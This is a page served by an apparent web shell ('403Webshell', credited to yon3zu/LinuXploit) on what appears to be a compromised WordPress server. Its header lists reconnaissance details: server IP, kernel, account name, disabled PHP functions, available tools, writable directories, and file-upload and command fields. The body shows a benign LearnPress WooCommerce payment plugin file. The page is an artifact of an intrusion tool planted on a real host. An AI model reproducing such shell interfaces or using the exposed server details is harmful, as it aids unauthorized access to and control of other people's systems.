403Webshell
Server IP : 172.67.147.195  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/learnpress-woo-payment/incs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/learnpress-woo-payment/incs//load.php
<?php

/**
 * Class LP_Addon_Woo_Payment
 */
class LP_Addon_Woo_Payment extends LP_Addon {
	/**
	 * @var string
	 */
	public $version = LP_ADDON_WOO_PAYMENT_VER;

	/**
	 * @var string
	 */
	public $require_version = LP_ADDON_WOO_PAYMENT_REQUIRE_VER;

	/**
	 * @var string
	 */
	public $plugin_file = LP_ADDON_WOO_PAYMENT_FILE;

	/**
	 * @var LP_Addon_Woo_Payment|null
	 *
	 * Hold the singleton of LP_Woo_Payment_Preload object
	 */
	protected static $_instance = null;

	/**
	 * LP_Woo_Payment_Preload constructor.
	 */

	public function __construct() {
		parent::__construct();
		$this->includes();
	}

	/**
	 * Include files needed
	 */
	protected function includes() {
		require_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/class-lp-gateway-woo.php';
		add_filter( 'learn-press/payment-methods', array( $this, 'lp_woo_settings' ) );
		add_filter( 'learn-press/frontend/localize-data-global', function ( $data ) {
			$data['lp_woo_version'] = $this->version;

			return $data;
		} );

		if ( ! LP_Gateway_Woo::is_option_enabled() ) {
			return;
		}

		include_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/TemplateHooks/LPWooTemplate.php';
		LPWooTemplate::instance();
		include_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/class-lp-woo-ajax.php';
		include_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/class-lp-woo-order.php';
		include_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/background-process/class-lp-woo-payment-background-process.php';

		if ( LP_Gateway_Woo::is_by_courses_via_product() ) {
			require_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/class-lp-woo-assign-course-to-product.php';
		} else {
			// Create type WC_Order_Item_LP_Course for wc order
			include_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/class-wc-order-item-course.php';

			// Create type WC_Product_LP_Course for wc product
			require_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/class-wc-product-lp-course.php';
		}

		// Hooks
		require_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/class-lp-wc-hooks.php';
		LP_WC_Hooks::instance();

		// Compatible with LP Upsell
		if ( class_exists( 'LP_Addon_Upsell_Preload' ) ) {
			require_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/upsell/class-lp-wc-upsell.php';
			LP_Wc_Upsell::instance();

			if ( ! LP_Gateway_Woo::is_by_courses_via_product() ) {
				// Add package to cart
				include_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/upsell/class-wc-add-lp-package-to-cart.php';
				// Create type WC_Product_LP_Package for wc product
				require_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/upsell/class-wc-product-lp-package.php';
				// Create type WC_Order_Item_LP_Course for wc order
				include_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/upsell/class-wc-order-item-package.php';
			}
		}

		// Plugin WC subscription
		if ( class_exists( 'WC_Subscriptions' ) ) {
			require_once LP_ADDON_WOO_PAYMENT_PATH . '/incs/class-lp-wc-subscription.php';
			LP_WC_Subscription::instance();
		}
	}

	/**
	 * Show lp woo settings
	 *
	 * @param array $methods
	 *
	 * @return array
	 */
	public function lp_woo_settings( array $methods ): array {
		$methods['woo-payment'] = 'LP_Gateway_Woo';

		return $methods;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit